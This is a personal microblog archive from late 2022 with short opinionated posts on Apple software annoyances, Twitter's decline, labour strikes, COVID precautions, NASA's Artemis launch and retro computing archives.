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[1] https://www.eff.org/deeplinks/2022/12/promising-new-gdpr-ruling-against-targeted-ads

╒═════╣▒ 12/10/2022 @20:27 ▒╟──────────┘

«Burn it all down!»¹ The entire online advertising data harvesting, Ponzi scheme needs to be killed.🔥

╒═════╣▒ 12/10/2022 @19:28 ▒╟──────────┘

│ In-Reply-To: 12/06/2022 @14:40

Imaging «treating human beings like human beings»¹ instead of batteries...

[1] https://twitter.com/kirinjaan/status/1601316460223434753

╒═════╣▒ 12/10/2022 @19:21 ▒╟──────────┘

│ In-Reply-To: 12/05/2022 @22:07

~ NO MESSAGE ~

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[1] https://wilwheaton.tumblr.com/post/702913910982000640/secondlina-i-think-at-this-point-my-crow-time

╒═════╣▒ 12/07/2022 @22:19 ▒╟──────────┘

I love how it's almost 2023 and trying to persuade systemd to do anything that didn't come pre-configured in your base Linux distribution is somehow still worse than going to the DMV.

╒═════╣▒ 12/06/2022 @16:39 ▒╟──────────┘

D'awwwww! We all deserve a friend with pockets who will stab mean people for us.«https://wilwheaton.tumblr.com/post/702913910982000640/secondlina-i-think-at-this-point-my-crow-time»¹

╒═════╣▒ 12/06/2022 @14:40 ▒╟──────────┘

Wait wait, you mean a rising tide raises **checks notes** all ships?«https://www.mcsweeneys.net/articles/its-a-wonderful-life-if-the-minimum-wage-was-raised-alongside-inflation»¹

[1] https://www.mcsweeneys.net/articles/its-a-wonderful-life-if-the-minimum-wage-was-raised-alongside-inflation

╒═════╣▒ 12/05/2022 @22:07 ▒╟──────────┘

The *only* right and proper response to the government invoking the Railway Labor Act over *checks notes* *one* paid sick day is to strike.Also 100% on team Bashir / Garak.

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[1] https://www.stonekettle.com/2022/12/a-republic-if-you-can-tweet-it.html

╒═════╣▒ 12/04/2022 @19:58 ▒╟──────────┘

The fake outrage bot farm has reached «DEFCON DICK PICS»¹....

╒═════╣▒ 12/03/2022 @22:51 ▒╟──────────┘

You know, I think they are right, you do get more conservative as you get older... as a young man I was in the Locke camp, believing that a large, wealthy middle class could keep a tyrannical government at bay. Now I firmly believe our only option is to stare the tyrannical government dead in the eyes as we eat the rich so they know we are willing to starve them out.

╒═════╣▒ 12/03/2022 @09:12 ▒╟──────────┘

Your semi-regular reminder that the «pandemic is not over»¹ and as a bonus it's «flu season»².

[1] https://covid.cdc.gov/covid-data-tracker/#county-view?list_select_state=all_states&list_select_county=all_counties&data-type=Risk

[2] https://www.cdc.gov/flu/weekly/usmap.htm

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╒═════╣▒ 12/02/2022 @15:10 ▒╟──────────┘

This man knows how to work a crowd and present a message.

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╒═════╣▒ 12/02/2022 @14:18 ▒╟──────────┘

You don't always need an oscilloscope when doing microcontroller development but when you do, you really do.

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[1] https://twitter.com/jortsthecat/status/1598454086873272321

╒═════╣▒ 12/01/2022 @22:26 ▒╟──────────┘

«Retweet of @sarahlazare by @jortsthecat»¹«Dec 1, 2022 at 18:08»²This whole railroad workers episode further clarifies that the "essential worker" discourse we've been bombarded with for almost 3 yrs is about disciplining workers to labor in perilous conditions, and not about respecting and protecting the people who do vital work.Fail to support labor at your own peril for tomorrow they come for *you*.

[2] https://twitter.com/jortsthecat/status/1598454086873272321

November

╒═════╣▒ 11/28/2022 @17:11 ▒╟──────────┘

«https://prospect.org/economy/at-least-the-tech-winter-will-kill-off-some-zombie-companies/»¹ via «Retweet of @dwallacewells by @GreatDismal»²Huge profits produced an enormous pool of money at the top of society, but precisely because the rich were getting so much, there was nowhere good to invest. Interest rates on government bonds didn’t keep up with inflation and sometimes sold at actual negative rates; ordinary businesses had no prospects for large growth. The economy was like a man who is sick and feeble because a third of his blood and nutrients are being sucked up into an enormous tumor hanging off the side of his head, which for the purposes of this story we’ll call “Jeff Bezos.”Burn baby, burn.

[1] https://prospect.org/economy/at-least-the-tech-winter-will-kill-off-some-zombie-companies/

[2] https://twitter.com/GreatDismal/status/1597290946198392832

╒═════╣▒ 11/27/2022 @18:53 ▒╟──────────┘

From the «please-not-again»¹ department:> The thing that makes the Internet useful is interoperability. These companies hate that. The thing that makes the Internet become more useful is the open source notion that there will always be more smart people who don't work for your company than that do, and some of those people will find ways to expand on your work in ways you never anticipated. These companies hate that, too. They'd rather you have nothing than that you have something they don't own. Letting VC funded, privately owned corporations own the centers of discussion online has *never* worked out well for humanity. Please let's *stop* doing that. Twitter isn't the 'global town square', it's the cafeteria on the 37th floor of the Salesforce [dot] com tower that just happens to be open to the public, sorta.

[1] https://www.jwz.org/blog/2022/11/psa-do-not-use-services-that-hate-the-internet/

╒═════╣▒ 11/27/2022 @16:07 ▒╟──────────┘

My least favorite part of Christmas... the one wreath with incandescent mini-lights that loves to just shit itself every year...

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[1] https://wilwheaton.tumblr.com/post/702036337526702080

╒═════╣▒ 11/27/2022 @11:02 ▒╟──────────┘

«[Reblogged from ispyspookymansion] wilwheaton posted a note.»¹«Nov 26, 2022 at 20:53»²> «ispyspookymansion»³:spotify is selling audiobooks now…..once again tapping the sign: dont give them your money when you could be supporting your local library!Stop paying corporations for things that your taxes already paid for.

[2] https://wilwheaton.tumblr.com/post/702036337526702080

[3] https://ispyspookymansion.tumblr.com/post/696234663608516608/oh-good-youre-here-now-we-can-watch-our-movie-cmon

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╒═════╣▒ 11/27/2022 @09:54 ▒╟──────────┘

Yes yes, tell me again that Space Karen Apartheid Emerald Mine Impotent Rocket Child is a genius and earned his success.

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╒═════╣▒ 11/24/2022 @10:52 ▒╟──────────┘

│ In-Reply-To: 11/23/2022 @10:04

Spent most of this week reading and listening to my iTunes^W Music.app library with the play a random album script. It has dug up some absolute *bangers*.

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[1] https://www.schneier.com/blog/archives/2022/11/apples-device-analytics-can-identify-icloud-users.html

╒═════╣▒ 11/23/2022 @19:24 ▒╟──────────┘

│ In-Reply-To: 11/23/2022 @15:24

And in case you might find yourself wondering why I have all this bullshit turned off (and would prefer it to be uninstalled)... «these days you just have to assume that if you send your data somewhere it's going to get lost, stolen, or sold»¹. Actually, probably all three. And probably even if you opted out.

╒═════╣▒ 11/23/2022 @18:04 ▒╟──────────┘

│ In-Reply-To: 11/23/2022 @15:24

So after all of that the connection between the watch and the phone didn't seem to actually function so I had to wait a half hour while the watch reset itself to try again. Now it seems I can't remove these stupid Health and Fitness apps that got force installed on my phone during pairing. What absolute mouth breather thought this was ok? I am not going to let you track medical data about me! That is just insane!

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[1] https://dougscripts.com/itunes/index.php

╒═════╣▒ 11/23/2022 @15:24 ▒╟──────────┘

So far the Apple Watch setup process feels like an unpolished dumpster fire. Two *hours* to update to the latest OS version, handful of questions, then another *hour* and it is only about 1/2 way done "synchronizing," which is just as completely inscrutable a process as the upgrade was. I can't believe this was deemed an acceptable user experience.

╒═════╣▒ 11/23/2022 @10:04 ▒╟──────────┘

│ In-Reply-To: 11/21/2022 @11:22

«Doug's AppleScripts»¹ are invaluable for dealing with iTunes^W Music's complete lack of being able to work properly. «Play Random Album»² is particularly useful for the rare times Music does work.

[2] https://dougscripts.com/itunes/scripts/ss.php?sp=mxrandomalbumplayer

╒═════╣▒ 11/21/2022 @11:28 ▒╟──────────┘

│ In-Reply-To: 11/20/2022 @17:10

Oh, and this one has no web interface, and a beta of an Android app. So it's essentially a VC funded, iOS only walled garden. I'm sure *that* will work out.

╒═════╣▒ 11/21/2022 @11:22 ▒╟──────────┘

I love how every few months or so I have to spend several hours fixing shit inside Music.app. Moved files, duplicate albums, things suddenly split between *Music/artist/album* and *Music/Compliations/album* with no indication as to why. It's nice to see the iTunes^W Music team still brings the A-game Every. Single. Day. </s>Latest monstrosity was the 2010 Jay-Z greatest hits album suddenly being split between "Compilations", "Jay-Z" and "JAY Z"...

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[1] https://www.youtube.com/watch?v=CWOtAvB2SbI

╒═════╣▒ 11/20/2022 @19:53 ▒╟──────────┘

I'm not gonna lie. «This slaps»¹.

╒═════╣▒ 11/20/2022 @17:10 ▒╟──────────┘

So there's some new kid popping up in the various death burbles of the birdsite. I'm sure another VC funded, corporate walled garden will be so much better than it was the last hundred times we tried it.

╒═════╣▒ 11/20/2022 @08:45 ▒╟──────────┘

«wilwheaton posted a quote.»¹«Nov 20, 2022 at 04:04»²That what Mr. Musk has called the global town square can be eviscerated in a time period somewhere between a Scaramucci and a Truss makes one wonder if we should be more skeptical of all the other billionaire geniuses with ideas for our schools, public health systems and politics.I'm on team *"Every billionaire is a policy failure."*I'm also on team *"shame on us for building a town square on private property as if this wasn't always going to be the ultimate conclusion."*

[1] https://wilwheaton.tumblr.com/post/701429232925065216/that-what-mr-musk-has-called-the-global-town

[2] https://wilwheaton.tumblr.com/post/701429232925065216/that-what-mr-musk-has-called-the-global-town

╒═════╣▒ 11/19/2022 @22:19 ▒╟──────────┘

So if blockchain technology isn't good for... *checks notes* «transfer and settlement»¹ of financial instruments, one might seriously start to wonder if it is good for *anything at all*.That is if they didn't already know that it *isn't*.

[1] https://web3isgoinggreat.com/single/australian-securities-exchange-scraps-its-250-million-seven-year-long-blockchain-project

╒═════╣▒ 11/17/2022 @19:22 ▒╟──────────┘

Reminder, COVID is not over.«https://www.patreon.com/posts/pandemic-roundup-74765751»¹(CDC map showing data from Thu Nov 03 2022 - Wed Nov 09 2022)

[1] https://www.patreon.com/posts/pandemic-roundup-74765751

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╒═════╣▒ 11/17/2022 @13:00 ▒╟──────────┘

│ In-Reply-To: 11/16/2022 @18:57

I feel like this feeling has been burning in my soul for 20 years and just hasn't been presented quite so succinctly until now.How often is *disruption* just handwaving over law breaking?

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[1] https://eyes.nasa.gov/apps/solar-system/#/sc_artemis_1

╒═════╣▒ 11/17/2022 @12:58 ▒╟──────────┘

│ In-Reply-To: 11/16/2022 @18:57

Looks like they put this ability into «Eyes on the Solar System»¹ which seems like a much better place for it.«https://eyes.nasa.gov/apps/solar-system/#/sc_artemis_1»²«via»³

[2] https://eyes.nasa.gov/apps/solar-system/#/sc_artemis_1

[3] https://twitter.com/NASASolarSystem/status/1592976122865946624

╒═════╣▒ 11/17/2022 @12:18 ▒╟──────────┘

I love this.

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[1] https://www.nasa.gov/specials/trackartemis/

╒═════╣▒ 11/16/2022 @18:57 ▒╟──────────┘

I don't know why this isn't linked on the NASA.gov homepage, or the NASA Artemis I mission page but you can track the mission telemetry here «https://www.nasa.gov/specials/trackartemis/»¹«via»²

[2] https://twitter.com/CanberraDSN

╒═════╣▒ 11/16/2022 @17:35 ▒╟──────────┘

If unions and regulations end up being the legacy of Apartheid Emerald Space Karen's *Insane Machinations* then he really is playing 4 dimensional space chess!Workers Unite!

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[1] https://twitter.com/nasa/status/1592772202289430528

╒═════╣▒ 11/16/2022 @11:03 ▒╟──────────┘

│ In-Reply-To: 11/16/2022 @11:01

«Tweet from @nasa»¹«Nov 16, 2022 at 01:50»²We are going. For the first time, the «@NASA_SLS»³ rocket and «@NASA_Orion»⁴ fly together. «#Artemis»⁵ I begins a new chapter in human lunar exploration.

[2] https://twitter.com/nasa/status/1592772202289430528

[3] https://twitter.com/NASA_SLS

[4] https://twitter.com/NASA_Orion

[5] https://twitter.com/hashtag/Artemis

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[1] https://twitter.com/nasaartemis/status/1592770152906784768

╒═════╣▒ 11/16/2022 @11:01 ▒╟──────────┘

Straight up chills watching this.> «Retweet of @NASA by @nasaartemis»¹«Nov 16, 2022 at 01:42»²"And «#Artemis»³ Generation, this is for you." Artemis I has a GO for launch to the Moon. T-0 time for liftoff is now set for 1:47am ET (0647 UTC).

[2] https://twitter.com/nasaartemis/status/1592770152906784768

[3] https://twitter.com/hashtag/Artemis

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[1] https://twitter.com/NPR/status/1592701068995084290/

╒═════╣▒ 11/16/2022 @10:57 ▒╟──────────┘

What is that I spy? Journalism? Finally?> «Tweet from @NPR»¹BREAKING: Donald Trump, who tried to overthrow the results of the 2020 presidential election and inspired a deadly riot at the Capitol in a desperate attempt to keep himself in power, has filed to run for president again in 2024. «https://n.pr/3THqnJM»²

[2] https://n.pr/3THqnJM

╒═════╣▒ 11/15/2022 @10:39 ▒╟──────────┘

I think «Molly White»¹ managed to skirt «Betteridge's Law»² here...

[1] https://blog.mollywhite.net/is-web3-bullshit/

[2] https://en.wikipedia.org/wiki/Betteridge%27s_law_of_headlines

╒═════╣▒ 11/13/2022 @19:08 ▒╟──────────┘

│ In-Reply-To: 11/13/2022 @17:58

I wonder if anyone has accused jwz of being an «optimist»¹.In the end it's all our own fault for letting a company privatize 'the public square.'

[1] https://www.jwz.org/blog/2022/11/mastodon-and-federation/

╒═════╣▒ 11/13/2022 @17:58 ▒╟──────────┘

I departed social media in 2015 because I couldn't stand it, happy to haphazardly toss things into the world from this corner of the Internet that I control. There have been a lot of takes on the whole Twitter fiasco and «this one»¹ is one I like a rather lot.

[1] https://inessential.com/2022/11/13/after_twitter

╒═════╣▒ 11/13/2022 @14:29 ▒╟──────────┘

Added the ability to consume Fediverse posts (well, from Mastodon instances) to my RSS feed transmogrifier. If people do flee en-masse from the Twitter tire fire I'll be able to continue to follow them anonymously.

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╒═════╣▒ 11/10/2022 @16:27 ▒╟──────────┘

Fall cleanup basically done. A pile about 150' long this year. Not too bad.

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[1] https://twitter.com/BritishPodcast/status/1590374791579828225

╒═════╣▒ 11/09/2022 @14:53 ▒╟──────────┘

«Retweet of @oneunderscore__ by @BritishPodcast»¹«Nov 9, 2022 at 11:04»²Before the next election, you might want to find a better way to poll anyone under the age of 30 since they would rather pick up a pinless grenade than a call from an unknown number.I'm 41 and I have my phone set to *not even ring* if the number isn't in my contacts. Don't act like this is some kind of zoomer phenomenon.

[2] https://twitter.com/BritishPodcast/status/1590374791579828225

╒═════╣▒ 11/08/2022 @13:46 ▒╟──────────┘

«Retweet of @RealSexyCyborg by @realsexycyborg»¹«Nov 7, 2022 at 19:01»²If nothing else Mastodon is introducing people into the whole Open Source tradition of trying to be enthusiastic about something really bad that doesn't work at all because you don't want to be rude to the maintainers and the thing you really want to use doesn't work anymore.😆

[1] https://twitter.com/realsexycyborg/status/1589770063858790400

[2] https://twitter.com/realsexycyborg/status/1589770063858790400

╒═════╣▒ 11/08/2022 @13:44 ▒╟──────────┘

│ In-Reply-To: 11/08/2022 @13:37

FWIW, I've been a Howard Stern fan for 24 years and I totally agree with him here. ☝️

╒═════╣▒ 11/08/2022 @13:37 ▒╟──────────┘

«Retweet of @HNTurtledove by @GreatDismal»¹«Nov 7, 2022 at 17:19»²TFW I completely agree with Howard Stern.> «Tweet from @thehill»³Howard Stern: Preserving democracy is "the only f—ing issue on the table" in midterms «https://trib.al/1avQY0V»⁴

[1] https://twitter.com/GreatDismal/status/1589744372622712833

[2] https://twitter.com/GreatDismal/status/1589744372622712833

[3] https://twitter.com/thehill/status/1589669279686950914/

[4] https://trib.al/1avQY0V

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[1] https://twitter.com/chris_randall/status/1589647332869824513

╒═════╣▒ 11/08/2022 @11:51 ▒╟──────────┘

Re: «https://twitter.com/chris_randall/status/1589647332869824513»¹I am going to miss Twitter once Apartheid Space Karen is finished smothering it...

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[1] https://www.kickstarter.com/projects/violetblue/a-fish-has-no-word-for-water

╒═════╣▒ 11/05/2022 @10:06 ▒╟──────────┘

Go back Violet Blue's Memoir «A Fish Has No Word For Water»¹ and then go join her «Patreon»² to support her weekly, free Pandemic Roundup and Cybersecurity Roundup! It's tremendous value for money!

[2] https://www.patreon.com/join/violetblue

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╒═════╣▒ 11/05/2022 @09:48 ▒╟──────────┘

The self-destruction of Twitter reminds us all (and informs those who haven't been on the Internet very long) that nothing is permanent here. You need to always be ready to have to pick up your community and move. It's wildly common for some corporation to dump toxic waste in your front yard. I was on Geocities when it was the 3rd most popular website on the entire Internet, bought by Yahoo for almost $4 billion dollars (a King's ransom in 1999!) and then driven into the ground and simply shuttered with a small sign on the door 10 years later.If you don't own it, assume it will be melted down for parts or completely ruined at any moment.

╒═════╣▒ 11/03/2022 @09:54 ▒╟──────────┘

Looks like cranking logging up during a heavy development phase on Azure Functions can get stupid chatty. (Upped my bill this month from 9 cents to 17 dollars!)

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╒═════╣▒ 11/03/2022 @09:44 ▒╟──────────┘

Looks like cranking logging up during a heavy development phase on Azure Functions can get stupid chatty. (Upped my bill this month from 9 cents to 17 dollars!)

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[1] https://www.keychron.com/blogs/news/k8-key-combinations

╒═════╣▒ 11/01/2022 @14:30 ▒╟──────────┘

│ In-Reply-To: 08/16/2022 @13:14

I really should have read the manual, eh? Turns out you can lock the light effect with a «key combination»¹!

╒═════╣▒ 11/01/2022 @09:49 ▒╟──────────┘

│ In-Reply-To: 10/28/2022 @20:59

In between other things I wrote a Python script to take an audio collection on «Discmaster»¹ and pump it into a player so I don't have to click play on each track in the list manually.It makes for some interesting listening.

[1] http://discmaster.textfiles.com

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[1] http://discmaster.textfiles.com/view/7501/cleanhpvac.zip/cleanhpvac/ACID2.ZIP/ACID2.MOD

October

╒═════╣▒ 10/29/2022 @21:34 ▒╟──────────┘

│ In-Reply-To: 09/12/2022 @21:54

Yeah, every time I try to change the wallpapers on iOS 16, I want to buy a flip phone. Good job guys.

╒═════╣▒ 10/28/2022 @20:59 ▒╟──────────┘

│ In-Reply-To: 10/18/2022 @10:09

I'm am astounded at how well this thing works. Playing and inspecting «ProTracker MODs»¹ buried in a ZIP file inside a ZIP file, or rendering out «ANSI art»² from a ZIP in an ISO.This is a window into the computing of my youth.

[2] http://discmaster.textfiles.com/view/7814/darkdomain.iso/artpacks/1990/acidnews.zip/ELM.ANS

╒═════╣▒ 10/28/2022 @14:11 ▒╟──────────┘

Hah, sorry random cloud server, but I don't believe you..."Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 SeaMonkey/2.42.9esr"

╒═════╣▒ 10/28/2022 @09:58 ▒╟──────────┘

Nice of Apple to publish a «Security Research Blog»¹, but would an RSS feed have killed them? They expect me to what, check back periodically for updates? Like some sort of cave person?

[1] https://security.apple.com/blog/

╒═════╣▒ 10/27/2022 @15:40 ▒╟──────────┘

│ In-Reply-To: 08/16/2022 @13:14

After a couple months with the Keychron K8 I have to say that I'm pretty happy. It's a little nicer to type on than the Anker KM-G14, I think the engagement click is a little more decisive. I use it wired and I do sort of wish the USB-C port was on the back rather than the side. Also the light function key is really easy to bump when moving the keyboard around and it takes a little while to get back to the setting I wanted. I'm not fond of the animated light shows, I much rather a single static color.All told, minor complaints. Good keyboard. Well worth it.

╒═════╣▒ 10/27/2022 @14:36 ▒╟──────────┘

«This»¹ kind of touchy-feely, low content density, user experience design is exactly why I don't use Slack, and why I gateway Discord into an IRC client. I don't need software giving me ass pats for using it. Do the thing that I need you to do and get out of my way so I can move on with my day.Software developers stopped realizing the goal of getting shit done once they started getting paid by advertisers and the entire world is worse off for it.

[1] https://mashable.com/article/slack-glitch

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[1] https://www.youtube.com/watch?v=ViErk7sbA4k

╒═════╣▒ 10/26/2022 @18:06 ▒╟──────────┘

If «this»¹ isn't your jam at some level... man I don't even know.«10 days remain»²

[2] https://www.jwz.org/blog/2022/10/jwz-mixtapes-15th-anniversary/

╒═════╣▒ 10/24/2022 @23:07 ▒╟──────────┘

Reddit is just about the worst site on the Internet. They make it that way on purpose and they should be ashamed of themselves. I close more pages unread than I end up reading.

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[1] https://www.tumblr.com/mostlysignssomeportents/698650752589185024/it-was-all-downhill-after-the-cuecat

╒═════╣▒ 10/21/2022 @05:22 ▒╟──────────┘

Finally, a summary of some of the subconscious weight I have felt around tech over the past 20 years...«https://www.tumblr.com/mostlysignssomeportents/698650752589185024/it-was-all-downhill-after-the-cuecat»¹I had a CueCat...

╒═════╣▒ 10/18/2022 @13:55 ▒╟──────────┘

│ In-Reply-To: 10/18/2022 @10:09

Wait wait, holy shit. «They»¹ render MOD files to mp3 so you can play them? *mind blown*

[1] https://www.going-flying.com/thoughts/1666102169.html

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[1] https://twitter.com/textfiles/status/1582166249018048512

╒═════╣▒ 10/18/2022 @10:09 ▒╟──────────┘

«🧵 Tweet from @textfiles»¹«Oct 17, 2022 at 20:42»²If you give the slightest whit of a care about 1980s-2000s computer and software history, your mind is about to be very blown. Some people worked very hard on this, and anonymous credit to them. So, set aside your week, this is going to be change everything for you.Think I'm hyping up? I'm going to do even worse. I'm not going to do anything but give you the URL. «http://discmaster.textfiles.com»³ Happy Exploring.Can confirm this works in Netscape Navigator 4.79!

[2] https://twitter.com/textfiles/status/1582166249018048512

[3] http://discmaster.textfiles.com/

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[1] https://twitter.com/jwz/status/1581880975637680128

╒═════╣▒ 10/17/2022 @08:49 ▒╟──────────┘

This. I've lost so much respect for people around me because it's all YOLO, let it rip. My county has been in the red (High) or orange (Substantial) community transmission level basically continually this year and less and less people seem to take even basic precautions every day. I still have e-mails from work from early 2021 where 80 cases / 100,000 people shut down offices, restricted travel, and triggered immediate work from home. This week's lucky number is 112.7 and no one even noticed.> «Retweet of @katimcf by @jwz»¹«Oct 17, 2022 at 01:33»²it’s so weird because seeing people post from bars or concerts unmasked here feels like a betrayal every time, but this weekend i‘ve been seeing ppl posting pics from the BTS concert in Busan where EVERYONE is masked and i remember it doesn’t have to be like this.Go read «Violet Blue's Pandemic Roundup»³, winter is coming.

[2] https://twitter.com/jwz/status/1581880975637680128

[3] https://www.patreon.com/violetblue/posts

╒═════╣▒ 10/15/2022 @19:44 ▒╟──────────┘

If you are trying to get PGP/MIME encoded news articles to work in slrn using «this blog post»¹, you will likely want to know that the pgp-verify script referred to (which was available at http://www.xray.mpe.mpg.de/mailing-lists/procmail/2004-06/pl00000.pl but no longer works) is still available over on mhonarc at «https://www.mhonarc.org/archive/html/procmail/2004-06/plBpTGRJjQTR.pl»².

[1] https://info.comodo.priv.at/oldblog/articles/slrn_pgpmime/

[2] https://www.mhonarc.org/archive/html/procmail/2004-06/plBpTGRJjQTR.pl

╒═════╣▒ 10/14/2022 @14:23 ▒╟──────────┘

Bivalent COVID-19 booster, and quadvalent influenza boosters received. Absentee ballot submitted! October has been off to a productive start!

╒═════╣▒ 10/14/2022 @10:18 ▒╟──────────┘

«Digital license plates»¹ seems like a solution for the problem of 'how do we make something that works well and doesn't cost a lot of money complex, fault prone, and expensive so as to create shareholder value'.

[1] https://www.schneier.com/blog/archives/2022/10/digital-license-plates.html

╒═════╣▒ 10/13/2022 @16:03 ▒╟──────────┘

I bore of the gritty, dark, unwatchable present. Let us bring the dramatically lit past into the future!«Retweet of @ScarlettHairdye by @jwz»¹I don't want gritty realistic lighting in movies and TV, I want night scenes lit in blue so I can actually see what's going on and absolutely nonsensical lighting choices that add drama and emotional weight to the scene (while allowing me to actually see what's going on)> «Tweet from @ScarlettHairdye»²I'm here to say fuck realistic lighting in visual media, no strive toward realism is ever gonna have the same dramatic punch as Wei Wuxian standing on a roof at night, backlit by a spotlight for NO FUCKING REASON, with a slice of light across his eyes ALSO FOR NO REASON

[1] https://twitter.com/jwz/status/1580616509952360448

[2] https://twitter.com/ScarlettHairdye/status/1337435227531038720/

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[1] https://www.patreon.com/posts/pandemic-roundup-73246405

╒═════╣▒ 10/13/2022 @13:23 ▒╟──────────┘

A friendly reminder that the pandemic «is not over»¹ just because you are tired of it.

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[1] https://www.loweringthebar.net/2022/10/best-brief-ever-written-the-onion.html

╒═════╣▒ 10/13/2022 @10:56 ▒╟──────────┘

Automatically looping videos on websites need to stop being a thing. I'd like to yeet every engineer who has ever made that shit possible.

╒═════╣▒ 10/04/2022 @17:52 ▒╟──────────┘

Oh please tell me The Onion actually filed «this brief»¹. It is SO GOOD. Go read it!

╒═════╣▒ 10/01/2022 @10:02 ▒╟──────────┘

Between The Mandalorian and The Book of Boba Fett I think Boba Fett is a more interesting show. It doesn't help that Grogu is wholly unlikable.

September

╒═════╣▒ 09/29/2022 @18:44 ▒╟──────────┘

You won't be surprised that I'm not sold on cloud gaming being a Good Idea, but it seems like after lighting a few dumpsters full of money on fire Google has «decided to kill Stadia»¹. To be fair they outperformed the «Stadia death clock»² by something like 414 days.

[1] https://blog.google/products/stadia/message-on-stadia-streaming-strategy/

[2] http://stadiacountdown.com

╒═════╣▒ 09/27/2022 @15:10 ▒╟──────────┘

I'm not usually thrilled with plucky sidekick characters in sequels but Kaoru Sayama in Yakuza: Kiwami 2 is actually an interesting counterpoise to Kazuma Kiryu.

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╒═════╣▒ 09/26/2022 @17:39 ▒╟──────────┘

4x Pfizered...

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[1] https://discussions.apple.com/thread/254196776

╒═════╣▒ 09/24/2022 @10:41 ▒╟──────────┘

I love this ne«w Apple that adds useless features that add friction»¹ to a workflow and provide no way to disable them.

╒═════╣▒ 09/23/2022 @09:28 ▒╟──────────┘

A «good overview»¹ of what the fifth circuit did to get lawyer twitter all spicy this week.

[1] https://www.lawfareblog.com/fifth-circuits-social-media-decision-dangerous-example-first-amendment-absolutism

╒═════╣▒ 09/22/2022 @21:21 ▒╟──────────┘

In spite of Substack being a bunch of spammy jerkoffs, «Serious Trouble»¹ and «Steady»² are well worth the trade off of having to write a couple filter rules (they do insert List-Id: headers on the stuff you care about so that's good) to bin the rest of the garbage that happens when you slide your e-mail address into that sweet subscribe box.

[1] https://www.serioustrouble.show

[2] https://steady.substack.com

╒═════╣▒ 09/20/2022 @21:28 ▒╟──────────┘

I think I'm starting to find the combat style and aesthetic of Nomad V. Now to see if I can find or craft a cotton candy pink tech SMG.

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[1] https://www.schneier.com/blog/archives/2022/09/credit-card-fraud-that-bypasses-2fa.html

╒═════╣▒ 09/20/2022 @08:31 ▒╟──────────┘

«This»¹ is a good reason to always have notification previews turned off while the device is locked.

╒═════╣▒ 09/19/2022 @11:59 ▒╟──────────┘

You know, with the «Edgerunners DLC»¹ out I think I'll give Cyberpunk 2077 another playthrough. First time corpo, now nomad.

[1] https://www.cyberpunk.net/en/news/45280/edgerunners-update-patch-1-6-list-of-changes

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[1] https://www.going-flying.com/thoughts/1663369423.html

╒═════╣▒ 09/16/2022 @19:09 ▒╟──────────┘

│ In-Reply-To: 09/16/2022 @19:03

Oh, I was «wrong»¹... it is even worse. The customization process is even more complex and it saves each one as a new profile thing on the lock screen, which also unintuitively changes the home screen. Who wanted this? What the hell.

╒═════╣▒ 09/16/2022 @19:03 ▒╟──────────┘

│ In-Reply-To: 09/12/2022 @22:51

Somehow Apple launched new lock screen customizations and made the whole thing worse? You used to be able to select a picture and set it to either the home screen or the lock screen and now that seems impossible. What a weird decision.

╒═════╣▒ 09/12/2022 @22:51 ▒╟──────────┘

│ In-Reply-To: 09/12/2022 @21:54

This is allowed while locked by default in iOS 16... who thought that was not going to be abused?*Narrator voice: It already has been abused.*

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╒═════╣▒ 09/12/2022 @21:54 ▒╟──────────┘

Not sure how much I should expect my skirt being blown up when the lede is "new lock screen with widgets."I guess we will see.

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[1] https://www.npr.org/2022/09/08/1121756012/iphone-android-text-message-green-blue-tim-cook

╒═════╣▒ 09/09/2022 @16:37 ▒╟──────────┘

Dear Tim Cook. Fuck you and your proprietary iMessage horseshit you out of touch maniac.Love,Matt(«re»¹)

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[1] https://twitter.com/govkathyhochul/status/1567537998383779857

╒═════╣▒ 09/08/2022 @08:58 ▒╟──────────┘

I honestly can't remember the last time I was excited by an Apple announcement. It seems like they just keep adding more AR stuff and emojis to everything and call it innovation while reducing the UI contrast and usability. It's unfortunate that the only alternatives are Google on the phone and Microsoft and Linux on the desktop.

╒═════╣▒ 09/07/2022 @17:57 ▒╟──────────┘

I am frankly mortified that this is coming from the governor of my state.> it’s impossible to overstate the permanent public health damage of a sign that shows someone wearing a mask incorrectly with the label “you do you”. teaches a lasting misunderstanding of the purpose and function of masks for this and every future pandemic. «https://twitter.com/govkathyhochul/status/1567537998383779857»¹— jess (@jessfromonline) «September 7, 2022»²

[2] https://twitter.com/jessfromonline/status/1567579860649873411?ref_src=twsrc%5Etfw

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╒═════╣▒ 09/06/2022 @17:35 ▒╟──────────┘

I get it now, I had friends whining about how they get too much e-mail and I kept chiding them for not using filters and folders and organizing their inbox like a reasonable person. Turns out Gmail is so bad it doesn't actually let you do that... like at all. It just makes 'labels' which are little more than tags. You can't sort your inbox at all. What a pile of *crap*. We had better e-mail software in the *late 1980s*.

╒═════╣▒ 09/03/2022 @23:10 ▒╟──────────┘

I have one wifi client that continually has lowish "WiFi Experience" scores, but in their infinite wisdom Ubiquiti provides no explaination of what this measurement means rendering it useless and unhelpful. Just another reason the UniFi stuff continues to slide farther and farther away from *fit for purpose* in my eyes.

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[1] https://yakuza.sega.com/kiwami/

╒═════╣▒ 09/03/2022 @00:50 ▒╟──────────┘

Huh. Whoda thought «Yakuza»¹ would call me out so perfectly.

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August

╒═════╣▒ 08/31/2022 @17:30 ▒╟──────────┘

Worth remembering.

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[1] https://voyager.jpl.nasa.gov/

╒═════╣▒ 08/30/2022 @21:09 ▒╟──────────┘

Given how we can barely keep a 3 year old mobile phone working I am impressed that we can keep a «45 year old computer network»¹ that is out in interstellar space working via a 160bps link with a nearly 2 day round-trip time.Seems to me like choices were made.«https://phys.org/news/2022-08-glitch-nasa-voyager.html»²

[2] https://phys.org/news/2022-08-glitch-nasa-voyager.html

╒═════╣▒ 08/26/2022 @20:00 ▒╟──────────┘

I see this and hear One Winged Angel in my head..

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[2] https://www.patreon.com/bigclive/

╒═════╣▒ 08/25/2022 @13:15 ▒╟──────────┘

You ever watch someone use a computer and just can't even? Yeah. That's been happening to me a lot lately. Ya'll need to stop putting crap all over your desktop. Also, you know you can rename files right? *Copy of Copy of Copy of Copy of Spreadsheet(6) Rev 4.xlsx* makes me want to hurt myself.

╒═════╣▒ 08/17/2022 @18:57 ▒╟──────────┘

One of the un-sung benefits of being a member of «BigClive's»¹ «Patreon»² is getting random behind the scenes looks at «really cool events»³ that introduce you to «new and interesting music»⁴. It's not all «Fanny Flambeaux»⁵ over there.

[1] http://bigclive.com

[3] https://www.edintattoo.co.uk

[4] http://www.thesidh.it

[5] https://www.youtube.com/watch?v=mcDgOGC5Lcc

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╒═════╣▒ 08/16/2022 @22:53 ▒╟──────────┘

